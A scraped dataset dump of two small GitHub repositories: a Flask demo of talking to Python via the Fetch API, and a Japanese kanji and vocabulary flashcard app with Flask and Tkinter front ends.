webpage\n\n### Process explained on :\nhttps://towardsdatascience.com/talking-to-python-from-javascript-flask-and-the-fetch-api-e0ef3573c451\n\n\n### Run using : \n`python app.py`\n\n\n\n### Expected Output\n<image width='500px' src='./example_output.png'>\n"}],"string":"[\n {\n \"alpha_fraction\": 0.5829629898071289,\n \"alphanum_fraction\": 0.5918518304824829,\n \"avg_line_length\": 27.125,\n \"blob_id\": \"26d2ce89190862fdcaeb9fbe366ee301b503a84b\",\n \"content_id\": \"62b3c08244bd91e970828e02123b4f1bf826acdb\",\n \"detected_licenses\": [\n \"Unlicense\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1350,\n \"license_type\": \"permissive\",\n \"max_line_length\": 112,\n \"num_lines\": 48,\n \"path\": \"/app.py\",\n \"repo_name\": \"ArdyTheRobot/FlaskFetch\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# app.py\\nfrom flask import Flask, jsonify, request, render_template\\napp = Flask(__name__)\\n\\n######## Example data, in sets of 3 ############\\ndata = list(range(1,300,3))\\nprint (data)\\n\\n\\n\\n######## HOME ############\\n@app.route('/')\\ndef test_page():\\n example_embed='Sending data... [this is text from python]'\\n # look inside `templates` and serve `index.html`\\n return render_template('index.html', embed=example_embed)\\n\\n\\n######## Example fetch ############\\n@app.route('/test', methods=['GET', 'POST'])\\ndef testfn():\\n # POST request\\n if request.method == 'POST':\\n print(request.get_json()) # parse as JSON\\n return 'OK', 200\\n # GET request\\n else:\\n message = {'greeting':'Hello from Flask!'}\\n return jsonify(message) # serialize and use JSON headers\\n\\n\\n######## Data fetch ############\\n@app.route('/getdata/<transaction_id>/<second_arg>', methods=['GET','POST'])\\ndef datafind(transaction_id,second_arg):\\n # POST request\\n if request.method == 'POST':\\n print('Incoming..')\\n print(request.get_text()) # parse as text\\n return 'OK', 200\\n # GET request\\n else:\\n message = 't_in = %s ; result: %s ; opt_arg: %s'%(transaction_id, data[int(transaction_id)], second_arg)\\n return message #jsonify(message) # serialize and use JSON headers\\n\\n\\n\\n# run app\\napp.run(debug=True)\\n\"\n },\n {\n \"alpha_fraction\": 0.7124999761581421,\n \"alphanum_fraction\": 0.746874988079071,\n \"avg_line_length\": 21.85714340209961,\n \"blob_id\": \"6b60b7ddcb8d8a230d7d3793cbc804e400809cd6\",\n \"content_id\": \"8a4dd2fb42b1bba0ba94fca798369dd44ffdfafb\",\n \"detected_licenses\": [\n \"Unlicense\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 320,\n \"license_type\": \"permissive\",\n \"max_line_length\": 101,\n \"num_lines\": 14,\n \"path\": \"/README.md\",\n \"repo_name\": \"ArdyTheRobot/FlaskFetch\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# FlaskFetch\\nUsing the Fetch API to communicate between flask and a served webpage\\n\\n### Process explained on :\\nhttps://towardsdatascience.com/talking-to-python-from-javascript-flask-and-the-fetch-api-e0ef3573c451\\n\\n\\n### Run using : \\n`python app.py`\\n\\n\\n\\n### Expected Output\\n<image width='500px' src='./example_output.png'>\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2984092,"cells":{"repo_name":{"kind":"string","value":"bibarz/sotana"},"repo_url":{"kind":"string","value":"https://github.com/bibarz/sotana"},"snapshot_id":{"kind":"string","value":"9e98f206ab244f85f7ebb33cc73254d7392badb7"},"revision_id":{"kind":"string","value":"79e6c23b9f9edefa190bb8e52dd51683cd83d6fb"},"directory_id":{"kind":"string","value":"f8699b91cdff130ecbbd975816d30d8b6d39a855"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-04-17T05:54:55.774661","string":"2020-04-17T05:54:55.774661"},"revision_date":{"kind":"timestamp","value":"2016-10-17T16:02:11","string":"2016-10-17T16:02:11"},"committer_date":{"kind":"timestamp","value":"2016-10-17T16:02:11","string":"2016-10-17T16:02:11"},"github_id":{"kind":"number","value":67334542,"string":"67,334,542"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5694234371185303,"alphanum_fraction":0.575753390789032,"avg_line_length":32.334861755371094,"blob_id":"fe4613dabf67e72a20359959b2849ef71c0f5e98","content_id":"6d95ee149d6cf2015b03c1a7e53d84968d841347","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":7267,"license_type":"no_license","max_line_length":133,"num_lines":218,"path":"/sotana_flask.py","repo_name":"bibarz/sotana","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nimport os\nimport time\nfrom sotana import read_words_and_kanji, ChartParser, jReads, tokenizedRomaji, ref_string, sep_string\nfrom flask import Flask, session, redirect, url_for, render_template\n\n\napp = Flask(__name__)\napp.secret_key = 'sotana'\nhistories = {}\nsession_expiration_seconds = 24 * 3600 * 7 # sessions expire after not being used for this\nos.environ['PATH'] += ':/usr/local/bin'\n\n\ndef update_time_decorator(f):\n def wrapper(self, *args, **kwargs):\n self.last_time_used = time.time()\n return f(self, *args, **kwargs)\n return wrapper\n\nclass History(object):\n def __init__(self):\n self.last_time_used = time.time()\n self.history = []\n self.hist_index = 0\n self.current_kanji = None\n self.kataDict = ChartParser('data/katakanaChart.txt').chartParse()\n self.dicts, self.kanji_data = read_words_and_kanji('japdic.xlsx')\n self.default_dict_name='mimi'\n self.probs = np.ones(len(self.dicts[self.default_dict_name])) / len(self.dicts[self.default_dict_name])\n self.words = {k: [d['word'] for d in self.dicts[k]] for k in self.dicts.keys()}\n self.kanji = [d['kanji'] for d in self.kanji_data]\n\n def random_sample(self):\n i = np.digitize(np.random.random(1), np.cumsum(self.probs))[0]\n self.probs[i] *= 0.2\n self.probs /= np.sum(self.probs)\n return i\n\n @update_time_decorator\n def add_to_history(self, i):\n self.last_used_time = time.time()\n self.history = self.history[:self.hist_index] + [i]\n self.hist_index += 1\n\n @update_time_decorator\n def hist_button_status(self):\n self.last_used_time = time.time()\n status = {\n 'has_prev': self.hist_index > 1,\n 'has_next': self.hist_index < len(self.history),\n 'index_label': str(\"%i/%i\" % (self.hist_index, len(self.history)))\n }\n return status\n\n @update_time_decorator\n def history_back(self):\n self.hist_index -= 1\n self.show_next(i=self.history[self.hist_index-1], remember=False)\n\n @update_time_decorator\n def history_forward(self):\n self.show_next(i=self.history[self.hist_index], remember=False)\n self.hist_index += 1\n self._update_hist_button_status()\n\n\ndef _cleanup_histories():\n # Delete old histories after session_expiration_seconds inactive\n t = time.time()\n for c in histories.keys():\n if t - histories[c].last_time_used > session_expiration_seconds:\n del histories[c]\n\n\ndef _get_session_history():\n if 'code' not in session:\n return False, redirect(url_for('no_session'))\n code = session['code']\n if code not in histories:\n return False, redirect(url_for('no_session'))\n return True, histories[code]\n\n\n@app.route('/')\ndef default():\n return '''\n <a href='/start_session'> Click to start </a>\n '''\n\n@app.route('/start_session')\ndef start_session():\n _cleanup_histories()\n code = np.random.random()\n session['code'] = code\n histories[code] = History()\n return redirect(url_for('new_card'))\n\n\ndef _make_kanji_rule(h, c):\n return url_for('new_card', index=h.history[h.hist_index - 1][0],\n dict_name=h.history[h.hist_index - 1][1],\n remember=False, kanji=c, show_all=True)\n\n\ndef _make_kanji_list(h, kanjis):\n kanji_list = []\n for c in kanjis:\n is_linkable = (0x4e00 <= ord(c) <= 0x9faf) and (c in h.kanji) # it is a kanji and we have it in the database\n kanji_list.append(dict(value=c, has_link=is_linkable, link=(_make_kanji_rule(h, h.kanji.index(c)) if is_linkable else None)))\n return kanji_list\n\n\n@app.route('/new_card')\n@app.route('/new_card/<int:index>')\n@app.route('/new_card/<int:index>/<dict_name>')\n@app.route('/new_card/<int:index>/<dict_name>/<int:remember>')\n@app.route('/new_card/<int:index>/<dict_name>/<int:remember>/<int:kanji>')\n@app.route('/new_card/<int:index>/<dict_name>/<int:remember>/<int:kanji>/<int:show_all>')\ndef new_card(index=None, dict_name=None, remember=True, kanji=None, show_all=False):\n success, h = _get_session_history()\n if not success:\n return h\n\n if dict_name is None:\n dict_name = h.default_dict_name\n\n if kanji is not None:\n h.current_kanji = kanji\n\n while index is None:\n index = h.random_sample()\n if h.dicts[h.default_dict_name][index]['lesson'] > 150000:\n index = None\n\n if remember:\n h.add_to_history((index, dict_name))\n\n data = h.dicts[dict_name][index]\n\n kana = ''.join([x.split(',')[-1] for x in jReads(data['word'])])\n romaji = ' '.join(tokenizedRomaji(unicode(data['word']))).encode('utf-8')\n ref = ref_string(data)\n related = []\n if data['related words']:\n words = sep_string(data['related words'])\n for i, w in enumerate(words):\n w = w.strip()\n for k in h.words.keys():\n if w in h.words[k]:\n related.append(dict(value=w, has_link=True,\n link=url_for('new_card', index=h.words[k].index(w),\n dict_name=k, remember=True)))\n break\n else:\n related.append(dict(value=w, has_link=False, link=None))\n\n\n word = _make_kanji_list(h, data['word'])\n\n example = ''\n if 'example' in data and data['example']:\n example = data['example']\n\n main_dict = dict(meaning=data['meaning'],\n kana=kana, romaji=romaji,\n ref=ref_string(data),\n related=related,\n word=word,\n example=example,\n show_all=show_all)\n\n if h.current_kanji is None:\n kanjidict = {}\n else:\n kanji_data = h.kanji_data[h.current_kanji]\n related_kanji = _make_kanji_list(h, sep_string(kanji_data['related kanji']))\n\n kanjidict = dict(kanji=kanji_data['kanji'],\n kanjikun=kanji_data['kun'],\n kanjion=kanji_data['on'],\n kanjirelated=related_kanji,\n kanjimeaning=kanji_data['meaning'],\n kanjimnemo=kanji_data['explanation']\n )\n\n main_dict.update(kanjidict)\n main_dict.update(h.hist_button_status())\n\n return render_template('card.html', **main_dict)\n\n\n@app.route('/prev_card')\ndef prev_card():\n success, h = _get_session_history()\n if not success:\n return h\n h.hist_index -= 1\n return redirect(url_for('new_card', index=h.history[h.hist_index - 1][0],\n dict_name=h.history[h.hist_index - 1][1], remember=False,\n kanji=h.current_kanji))\n\n\n@app.route('/next_card')\ndef next_card():\n success, h = _get_session_history()\n if not success:\n return h\n h.hist_index += 1\n return redirect(url_for('new_card', index=h.history[h.hist_index - 1][0],\n dict_name=h.history[h.hist_index - 1][1], remember=False,\n kanji=h.current_kanji))\n\n\n@app.route('/no_session')\ndef no_session():\n return (\"Session expired!\")\n"},{"alpha_fraction":0.5329182147979736,"alphanum_fraction":0.544692873954773,"avg_line_length":36.425846099853516,"blob_id":"5e30afd2399456a064c3caae5ced735c795c976b","content_id":"e18bd6302971a19b8e67a4dca4e22a2c1fa043aa","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":17675,"license_type":"no_license","max_line_length":125,"num_lines":472,"path":"/sotana.py","repo_name":"bibarz/sotana","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nimport Tkinter as Tk\nimport tkFont\nimport sys\nimport numpy as np\nimport webbrowser\nimport urllib\nimport xlrd\nimport xml.etree.cElementTree as etree\nimport re\nimport subprocess\nimport StringIO\n\n\ndef cabocha_xml(sent):\n \"\"\"\n @return type = unicode\n -xml format unicode string is returned \n \"\"\"\n command = 'cabocha -f 3'\n p = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n output, _ = p.communicate(sent)\n return unicode(output, 'utf8')\n\n\nclass ChartParser(object):\n def __init__(self, chartFile):\n with open('katakanaChart.txt') as f:\n self.chart = f.readlines()\n\n def chartParse(self):\n \"\"\"\n @return chartDict\n ガ ==> g,a\n キ ==> k,i\n キャ ==> k,ya\n Similarily for Hiragana\n @setrofim : http://www.python-forum.org/pythonforum/viewtopic.php?f=3&t=31935\n \"\"\"\n lines = self.chart\n chartDict = {}\n output = {}\n col_headings = lines.pop(0).split()\n for line in lines:\n cells = line.split()\n for i, c in enumerate(cells[1:]):\n output[c] = (cells[0], col_headings[i])\n for k in sorted(output.keys()):\n #@k = katakana\n #@r = first romaji in row\n #@c = concatinating romaji in column\n r, c = output[k]\n k, r, c = [unicode(item,'utf-8') for item in [k,r,c]]\n if k == 'X':continue\n if r=='s' and c[0] == 'y':\n c = 'h' + c[1:]\n if r=='s' and c == 'i':\n c = 'hi'\n if r=='j' and c[0] == 'y':\n c = c[1:]\n if r=='t' and c[0] == 'y':\n r = 'c'\n c = 'h' + c[1:]\n romaji = ''.join([item.replace('X', '') for item in [r,c]])\n chartDict[k] = romaji\n return chartDict\n\n\ndef tokenizedRomaji(jSent):\n kataDict = ChartParser('data/katakanaChart.txt').chartParse()\n tokenizeRomaji = []\n def check_duplicate(s, duplicate):\n if not duplicate:\n return s\n else:\n return s[0] + s\n\n duplicate = False\n for kataChunk in jReads(jSent):\n romaji = ''\n for idx, kata in enumerate(kataChunk,1):\n if idx != len(kataChunk):\n doubles = kata+kataChunk[idx]\n if kataDict.has_key(doubles):\n romaji += check_duplicate(kataDict[doubles], duplicate)\n duplicate = False\n continue\n if kataDict.has_key(kata):\n next_romaji = kataDict[kata]\n if next_romaji == 'hu':\n next_romaji = 'fu'\n romaji += check_duplicate(kataDict[kata], duplicate)\n duplicate = False\n elif ord(kata) == 12483: # 12483 = unicode for ッ \n duplicate = True\n else:\n duplicate = False\n pass\n #checkPunctuation(kata)\n tokenizeRomaji.append(romaji)\n return tokenizeRomaji\n\n\ndef jReads(target_sent):\n sentence = etree.fromstring(cabocha_xml(target_sent.encode('utf-8')).encode('utf-8'))\n return [tok.get(\"feature\").split(',')[-1] for chunk in sentence for tok in chunk.findall('tok')]\n\n\ndef sep_string(s):\n return [x for x in s.replace(unicode(u'\\u3001'), ',').replace(unicode(u'\\uff0c'),',').split(',') if x] \n\n\ndef read_words_and_kanji(filename):\n dicts = {}\n for sheet in ['EK1', 'EK2', 'EK2Old', 'JBP3', 'mimi']:\n workbook = xlrd.open_workbook(filename)\n worksheet = workbook.sheet_by_name(sheet)\n num_cells = worksheet.ncols\n fields = ['word', 'meaning', 'kanji', 'page', 'lesson', 'related words', 'example']\n #assert num_cells >= len(fields)\n dict_words = [dict(zip(fields, v[:len(fields)])) for v in worksheet._cell_values]\n dicts[sheet] = dict_words\n\n worksheet = workbook.sheet_by_name('Kanji')\n num_cells = worksheet.ncols\n fields = ['kanji', 'kun', 'on', 'related kanji', 'meaning', 'explanation']\n assert num_cells >= len(fields)\n dict_kanji = [dict(zip(fields, v[:len(fields)])) for v in worksheet._cell_values]\n\n return dicts, dict_kanji\n\n\ndef to_str(x):\n if isinstance(x, (float, int)):\n return ('%i' % x)\n else:\n return x\n\n\ndef ref_string(data): \n k = to_str(data['kanji'])\n p = to_str(data['page'])\n l = to_str(data['lesson'])\n return \"k %s, p %s, l %s\" % (k, p, l)\n\n\ndef browse_kanji(c):\n url = \"http://www.romajidesu.com/kanji/\"\n controller = webbrowser.get('firefox')\n controller.open(url + urllib.quote(c.encode('utf-8')))\n\n\nclass Card(object):\n kataDict = ChartParser('data/katakanaChart.txt').chartParse()\n def __init__(self, n_frames, app, frame, **params):\n self.app = app\n self.card_frame = frame\n self.frames = [Tk.Frame(frame, **params) for _ in range(n_frames)]\n self.blinders = [Tk.Frame(frame, **params) for _ in self.frames]\n for i, b in enumerate(self.blinders):\n b.bind(\"<Button-1>\", lambda event, i=i: self.turn(i))\n \n for i, (f, b) in enumerate(zip(self.frames, self.blinders)):\n b.grid(row=i)\n f.grid(in_=b)\n\n self.visible = [False for _ in self.frames]\n\n def turn(self, i):\n if self.visible[i]:\n self.frames[i].lower(self.blinders[i])\n else:\n self.frames[i].lift(self.blinders[i])\n self.visible[i] = not self.visible[i]\n\n def reveal_more(self):\n for i, v in enumerate(self.visible):\n if not v:\n self.turn(i)\n return\n # All is revealed; hide last\n self.turn(-1)\n\n\nclass WordCard(Card):\n def __init__(self, data, *args, **kwargs):\n Card.__init__(self, 3, *args, **kwargs)\n\n format = {'fg': 'white',\n 'bg': 'black'}\n\n l = Tk.Label(self.frames[0], text=data['meaning'], font=(\"Lucida Grande\", 20), **format)\n l.bind(\"<Button-1>\", lambda event: self.turn(0))\n l.grid(row=0)\n \n kana = ''.join([x.split(',')[-1] for x in jReads(data['word'])])\n romaji = ' '.join(tokenizedRomaji(unicode(data['word']))).encode('utf-8')\n for col, c in enumerate(data['word']):\n l = Tk.Label(self.frames[2], text=c, font=(\"Lucida Grande\", 60), **format)\n if 0x4e00 <= ord(c) <= 0x9faf: # kanji\n l.bind(\"<Button-1>\", lambda event, c=c: self.app.show_kanji(c))\n else:\n l.bind(\"<Button-1>\", lambda event: self.turn(2))\n l.grid(row=0, column=col)\n\n l = Tk.Label(self.frames[1], text=kana, font=(\"Lucida Grande\", 20), **format)\n l.bind(\"<Button-1>\", lambda event: self.turn(1))\n l.grid(row=0)\n l = Tk.Label(self.frames[1], text=romaji, font=(\"Lucida Grande\", 20), **format)\n l.bind(\"<Button-1>\", lambda event: self.turn(1))\n l.grid(row=1)\n l = Tk.Label(self.frames[1], text=ref_string(data), font=(\"Lucida Grande\", 20), **format)\n l.bind(\"<Button-1>\", lambda event: self.turn(1))\n l.grid(row=2)\n\n if data['related words']:\n related_frame = Tk.Frame(self.frames[1], bg='black')\n words = sep_string(data['related words'])\n for i, w in enumerate(words):\n w = w.strip()\n for k in self.app.words.keys():\n if w in self.app.words[k]:\n elem = Tk.Button(related_frame, text=w, font=(\"Lucida\", 20),\n command=lambda i=(self.app.words[k].index(w), k): self.app.show_next(i),\n **format)\n break\n else:\n elem = Tk.Label(related_frame, text=w, font=(\"Lucida\", 20), **format)\n elem.grid(row=0, column=i)\n related_frame.grid(row=3)\n\n if 'example' in data and data['example']:\n example_frame = Tk.Frame(self.frames[2], bg='black')\n l = Tk.Text(example_frame, font=(\"Lucida Grande\", 14), width=30,\n height=len(data['example'])/30 + 1, **format)\n l.insert('1.0', data['example'])\n l.grid(row=0)\n example_frame.grid(row=1, columnspan=len(data['word']))\n\n\nclass KanjiCard(Card):\n def __init__(self, data, *args, **kwargs):\n Card.__init__(self, 6, *args, **kwargs)\n\n format = {'fg': 'white',\n 'bg': 'black'}\n\n l = Tk.Label(self.frames[0], text=data['kanji'], font=(\"Lucida Grande\", 60), **format)\n l.bind(\"<Button-1>\", lambda event: browse_kanji(data['kanji']))\n l.grid(row=0)\n \n for col, c in enumerate(sep_string(data['kun'])):\n l = Tk.Label(self.frames[1], text=c, font=(\"Lucida Grande\", 20), **format)\n l.bind(\"<Button-1>\", lambda event, c=c: self.app.kanjis_with_kun(c))\n l.grid(row=0, column=col)\n for col, c in enumerate(sep_string(data['on'])):\n l = Tk.Label(self.frames[2], text=c, font=(\"Lucida Grande\", 20), **format)\n l.bind(\"<Button-1>\", lambda event, c=c: self.app.kanjis_with_on(c))\n l.grid(row=0, column=col)\n for col, c in enumerate(sep_string(data['related kanji'])):\n l = Tk.Label(self.frames[3], text=c, font=(\"Lucida Grande\", 40), **format)\n if 0x4e00 <= ord(c) <= 0x9faf: # kanji\n l.bind(\"<Button-1>\", lambda event, c=c: self.app.show_kanji(c))\n l.grid(row=0, column=col)\n\n l = Tk.Text(self.frames[4], font=(\"Lucida Grande\", 28), width=len(data['meaning']), height=1, **format)\n l.insert('1.0', data['meaning'])\n l.bind(\"<Button-1>\", lambda event, c=c: self.app.words_from_kanji(data['kanji']))\n l.grid(row=0)\n l = Tk.Text(self.frames[5], font=(\"Lucida Grande\", 14), width=30, height=len(data['explanation']) / 30 + 1, **format)\n l.insert('1.0', data['explanation'])\n l.grid(row=0)\n\n for i in range(1, 6):\n self.turn(i)\n\n\nclass App(Tk.Frame):\n def __init__(self, dict_data, kanji_data, default_dict_name, master=None, **params):\n Tk.Frame.__init__(self, master, **params)\n self.grid(sticky=Tk.N + Tk.S + Tk.E + Tk.W) # make it resizable\n self.dict_data = dict_data\n self.default_dict_name = default_dict_name\n self.kanji_data = kanji_data\n self.words = {k: [d['word'] for d in dict_data[k]] for k in dict_data.keys()}\n self.kanji = [d['kanji'] for d in kanji_data]\n self.history = []\n self.hist_index = 0\n self.probs = np.ones(len(self.dict_data[self.default_dict_name])) / len(self.dict_data[self.default_dict_name])\n \n btn = Tk.Button(self, text='New', command=self.show_next)\n btn.grid(row=0, column=0)\n self.prev_btn = Tk.Button(self, text='Prev', command=self.history_back)\n self.prev_btn.grid(row=0, column=1)\n self.next_btn = Tk.Button(self, text='Next', command=self.history_forward)\n self.next_btn.grid(row=0, column=2)\n self.idx_label = Tk.Label(self, text='', font=(\"Lucida Grande\", 14), fg='white', bg='black')\n self.idx_label.grid(row=0, column=3)\n self.card_frame = Tk.Frame(self, **params)\n self.card_frame.grid(row=1, columnspan=4)\n self.kanji_frame = None\n self.kanji_list_frame = None\n self.word_list_frame = None\n self.bind_all(\"<Right>\", self.next_or_forward)\n self.bind_all(\"<Left>\", self.nothing_or_backward)\n self.bind_all(\"<space>\", self.reveal_more)\n \n self.show_next()\n self.grid()\n \n def reveal_more(self, event):\n self.last_word_card.reveal_more()\n\n def next_or_forward(self, event):\n if self.next_btn['state'] == 'disabled':\n self.show_next()\n else:\n self.history_forward()\n\n def nothing_or_backward(self, event):\n if self.prev_btn['state'] == 'disabled':\n return\n else:\n self.history_back()\n\n def add_to_history(self, i):\n self.history = self.history[:self.hist_index] + [i]\n self.hist_index += 1\n self._update_hist_button_status()\n\n def history_back(self):\n self.hist_index -= 1\n self.show_next(i=self.history[self.hist_index-1], remember=False)\n self._update_hist_button_status()\n\n def history_forward(self):\n self.show_next(i=self.history[self.hist_index], remember=False)\n self.hist_index += 1\n self._update_hist_button_status()\n\n def _update_hist_button_status(self):\n self.prev_btn['state'] = 'disabled' if self.hist_index == 1 else 'normal'\n self.next_btn['state'] = 'disabled' if self.hist_index >= len(self.history) else 'normal'\n self.idx_label['text'] = str(\"%i/%i\" % (self.hist_index, len(self.history)))\n\n def random_sample(self):\n i = np.digitize(np.random.random(1), np.cumsum(self.probs))[0]\n self.probs[i] *= 0.2\n self.probs /= np.sum(self.probs)\n return i\n\n def show_next(self, i=None, remember=True):\n # i can be:\n # None, meaning take a random card from default deck\n # an integer: index in default deck\n # a tuple (index, dict_name)\n while i is None:\n i = self.random_sample()\n if self.dict_data[self.default_dict_name][i]['lesson'] > 150000:\n i = None\n if remember:\n self.add_to_history(i)\n for w in self.card_frame.winfo_children():\n if isinstance(w, Tk.Frame):\n w.destroy()\n idx, key = (i, self.default_dict_name) if isinstance(i, (float, int)) else i\n self.last_word_card = WordCard(self.dict_data[key][idx], self, self.card_frame, bg='black')\n self.last_word_card.turn(0)\n\n def show_kanji(self, c):\n if c not in self.kanji:\n browse_kanji(c)\n return\n\n i = self.kanji.index(c)\n\n if self.kanji_frame is None:\n self.kanji_frame = Tk.Toplevel(self, bg='black')\n self.kanji_frame.geometry('+400+0')\n self.kanji_frame.protocol(\"WM_DELETE_WINDOW\", self.kanji_frame_closed)\n\n for w in self.kanji_frame.winfo_children():\n if isinstance(w, Tk.Frame):\n w.destroy()\n\n self.last_kanji_card = KanjiCard(self.kanji_data[i], self, self.kanji_frame, bg='black')\n self.last_kanji_card.turn(0)\n \n def kanji_frame_closed(self):\n self.kanji_frame.destroy()\n self.kanji_frame = None\n\n def show_kanji_list(self, kanji_list, **format):\n if self.kanji_list_frame is None:\n self.kanji_list_frame = Tk.Toplevel(self, bg='black')\n self.kanji_list_frame.geometry('+100+400')\n self.kanji_list_frame.protocol(\"WM_DELETE_WINDOW\", self.kanji_list_frame_closed)\n\n for w in self.kanji_list_frame.winfo_children():\n if isinstance(w, Tk.Widget):\n w.destroy()\n\n format = {'fg': 'white',\n 'bg': 'black'}\n\n for i, c in enumerate(kanji_list):\n l = Tk.Label(self.kanji_list_frame, text=c, font=(\"Lucida Grande\", 60), **format)\n l.bind(\"<Button-1>\", lambda event, c=c: self.show_kanji(c))\n l.grid(row=0, column=i)\n\n def kanji_list_frame_closed(self):\n self.kanji_list_frame.destroy()\n self.kanji_list_frame = None\n\n def kanjis_with_kun(self, c):\n k_list = []\n for d in self.kanji_data:\n kuns = sep_string(d['kun'])\n if c in kuns:\n k_list.append(d['kanji'])\n self.show_kanji_list(k_list)\n \n def kanjis_with_on(self, c):\n k_list = []\n for d in self.kanji_data:\n ons = sep_string(d['on'])\n if c in ons:\n k_list.append(d['kanji'])\n self.show_kanji_list(k_list)\n\n def show_word_list(self, word_index_list, **format):\n if self.word_list_frame is None:\n self.word_list_frame = Tk.Toplevel(self, bg='black')\n self.word_list_frame.geometry('+100+400')\n self.word_list_frame.protocol(\"WM_DELETE_WINDOW\", self.word_list_frame_closed)\n\n for w in self.word_list_frame.winfo_children():\n if isinstance(w, Tk.Widget):\n w.destroy()\n\n format = {'fg': 'white',\n 'bg': 'black'}\n\n for i, index in enumerate(word_index_list):\n idx, key = (index, self.default_dict_name) if isinstance(index, (float, int)) else index\n l = Tk.Label(self.word_list_frame, text=self.dict_data[key][idx]['word'], font=(\"Lucida Grande\", 40), **format)\n l.bind(\"<Button-1>\", lambda event, index=index: self.show_next(index))\n l.grid(row=0, column=i)\n\n def word_list_frame_closed(self):\n self.word_list_frame.destroy()\n self.word_list_frame = None\n\n def words_from_kanji(self, c):\n word_index_list = []\n for key in self.dict_data.keys():\n for i, d in enumerate(self.dict_data[key]):\n if c in d['word']:\n word_index_list.append((i, key))\n self.show_word_list(word_index_list)\n \n\n\nif __name__=='__main__':\n# url = \"http://docs.python.org/library/webbrowser.html\"\n# webbrowser.open(url,new=2)\n import os\n os.environ['PATH'] += ':/usr/local/bin'\n dicts, kanji = read_words_and_kanji('japdic.xlsx')\n a = App(dicts, kanji, default_dict_name='mimi', bg=\"black\")\n a.master.title('Kanji')\n a.mainloop()\n"}],"string":"[\n {\n \"alpha_fraction\": 0.5694234371185303,\n \"alphanum_fraction\": 0.575753390789032,\n \"avg_line_length\": 32.334861755371094,\n \"blob_id\": \"fe4613dabf67e72a20359959b2849ef71c0f5e98\",\n \"content_id\": \"6d95ee149d6cf2015b03c1a7e53d84968d841347\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 7267,\n \"license_type\": \"no_license\",\n \"max_line_length\": 133,\n \"num_lines\": 218,\n \"path\": \"/sotana_flask.py\",\n \"repo_name\": \"bibarz/sotana\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nimport numpy as np\\nimport os\\nimport time\\nfrom sotana import read_words_and_kanji, ChartParser, jReads, tokenizedRomaji, ref_string, sep_string\\nfrom flask import Flask, session, redirect, url_for, render_template\\n\\n\\napp = Flask(__name__)\\napp.secret_key = 'sotana'\\nhistories = {}\\nsession_expiration_seconds = 24 * 3600 * 7 # sessions expire after not being used for this\\nos.environ['PATH'] += ':/usr/local/bin'\\n\\n\\ndef update_time_decorator(f):\\n def wrapper(self, *args, **kwargs):\\n self.last_time_used = time.time()\\n return f(self, *args, **kwargs)\\n return wrapper\\n\\nclass History(object):\\n def __init__(self):\\n self.last_time_used = time.time()\\n self.history = []\\n self.hist_index = 0\\n self.current_kanji = None\\n self.kataDict = ChartParser('data/katakanaChart.txt').chartParse()\\n self.dicts, self.kanji_data = read_words_and_kanji('japdic.xlsx')\\n self.default_dict_name='mimi'\\n self.probs = np.ones(len(self.dicts[self.default_dict_name])) / len(self.dicts[self.default_dict_name])\\n self.words = {k: [d['word'] for d in self.dicts[k]] for k in self.dicts.keys()}\\n self.kanji = [d['kanji'] for d in self.kanji_data]\\n\\n def random_sample(self):\\n i = np.digitize(np.random.random(1), np.cumsum(self.probs))[0]\\n self.probs[i] *= 0.2\\n self.probs /= np.sum(self.probs)\\n return i\\n\\n @update_time_decorator\\n def add_to_history(self, i):\\n self.last_used_time = time.time()\\n self.history = self.history[:self.hist_index] + [i]\\n self.hist_index += 1\\n\\n @update_time_decorator\\n def hist_button_status(self):\\n self.last_used_time = time.time()\\n status = {\\n 'has_prev': self.hist_index > 1,\\n 'has_next': self.hist_index < len(self.history),\\n 'index_label': str(\\\"%i/%i\\\" % (self.hist_index, len(self.history)))\\n }\\n return status\\n\\n @update_time_decorator\\n def history_back(self):\\n self.hist_index -= 1\\n self.show_next(i=self.history[self.hist_index-1], remember=False)\\n\\n @update_time_decorator\\n def history_forward(self):\\n self.show_next(i=self.history[self.hist_index], remember=False)\\n self.hist_index += 1\\n self._update_hist_button_status()\\n\\n\\ndef _cleanup_histories():\\n # Delete old histories after session_expiration_seconds inactive\\n t = time.time()\\n for c in histories.keys():\\n if t - histories[c].last_time_used > session_expiration_seconds:\\n del histories[c]\\n\\n\\ndef _get_session_history():\\n if 'code' not in session:\\n return False, redirect(url_for('no_session'))\\n code = session['code']\\n if code not in histories:\\n return False, redirect(url_for('no_session'))\\n return True, histories[code]\\n\\n\\n@app.route('/')\\ndef default():\\n return '''\\n <a href='/start_session'> Click to start </a>\\n '''\\n\\n@app.route('/start_session')\\ndef start_session():\\n _cleanup_histories()\\n code = np.random.random()\\n session['code'] = code\\n histories[code] = History()\\n return redirect(url_for('new_card'))\\n\\n\\ndef _make_kanji_rule(h, c):\\n return url_for('new_card', index=h.history[h.hist_index - 1][0],\\n dict_name=h.history[h.hist_index - 1][1],\\n remember=False, kanji=c, show_all=True)\\n\\n\\ndef _make_kanji_list(h, kanjis):\\n kanji_list = []\\n for c in kanjis:\\n is_linkable = (0x4e00 <= ord(c) <= 0x9faf) and (c in h.kanji) # it is a kanji and we have it in the database\\n kanji_list.append(dict(value=c, has_link=is_linkable, link=(_make_kanji_rule(h, h.kanji.index(c)) if is_linkable else None)))\\n return 